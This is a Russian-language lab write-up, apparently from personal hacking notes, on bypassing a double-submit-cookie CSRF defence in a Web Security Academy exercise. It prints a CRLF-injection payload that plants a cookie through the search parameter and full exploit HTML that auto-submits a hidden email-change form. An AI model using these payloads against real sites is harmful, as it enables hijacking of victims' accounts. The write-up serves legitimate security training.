> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/csrf/csrf-with-duplicated-token-in-a-double-submit-cookie.md).

# CSRF с дублированным токеном в cookie двойной отправки

### CSRF, при котором токен дублируется в cookie

#### Описание

Функция изменения email в этом лабораторном задании уязвима к атаке CSRF. Сайт пытается использовать хрупкую технику **«двойной отправки»**: один и тот же CSRF-токен присутствует и в поле формы, и в cookie. Эта защита недостаточна, если злоумышленник может подделать межсайтовый запрос, который отправляет `CSRF` поле, содержащее то же значение.

#### Цель

Размещение HTML-страницы на вашем **сервере** которая при отображении посетителем автоматически отправит POST-запрос на изменение его адреса электронной почты (решение лабораторной).

#### Доступ (учетные данные)

Вы можете подключиться с помощью: `wiener: peter`

#### Важные наблюдения по результатам тестирования

* Значение CSRF-токена в форме и значение в cookie идентичны.

<figure><img src="/files/804c1ed3ec765acf43cb10d24a3a9cd7588a56e2" alt=""><figcaption></figcaption></figure>

#### Пример CRLF-инъекции (в `параметре search` адресной строке или параметре)

<figure><img src="/files/3b0b263e938ee67729697021578553634b9b730b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/63acc715202857d2420b52aaa8204daa5d44fe80" alt="" width="421"><figcaption></figcaption></figure>

```
hello%0d%0aSet-Cookie:%20csrfKey=qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO
```

<figure><img src="/files/8e1958db1bd5d79ec85f225e87f94df045b7e47d" alt=""><figcaption></figcaption></figure>

* Чтобы заставить cookie отправляться в межсайтовом контексте, полезно установить `SameSite=None` для cookie.

```
hello Set-Cookie: csrfKey=qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO; SameSite=none

hello%0d%0aSet-Cookie:%20csrfKey%3dqzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO%3b%20SameSite%3dnone
```

#### HTML эксплойта для размещения на сервере эксплойта

Вот пример страницы, которая помещает значение CSRF-токена в `CSRF` поле, задаёт целевой email, а затем автоматически отправляет форму, используя запрос к изображению (который запускает попытку записать cookie через поиск):

```html
<form class="login-form" name="change-email-form" action="https://0a0c00eb04620591804903aa00c900fd.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacked@jord4n.pro">
      <input required="" type="hidden" name="csrf" value="qzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO">
</form>

<img  src="https://0a0c00eb04620591804903aa00c900fd.web-security-academy.net/?search=hello%0d%0aSet-Cookie:%20csrf%3dqzAd1Kd7ItFul6Ix3H1S3LSXicK8KCfO%3b%20SameSite%3dnone" onerror="document.forms[0].submit();">
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/csrf/csrf-with-duplicated-token-in-a-double-submit-cookie.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
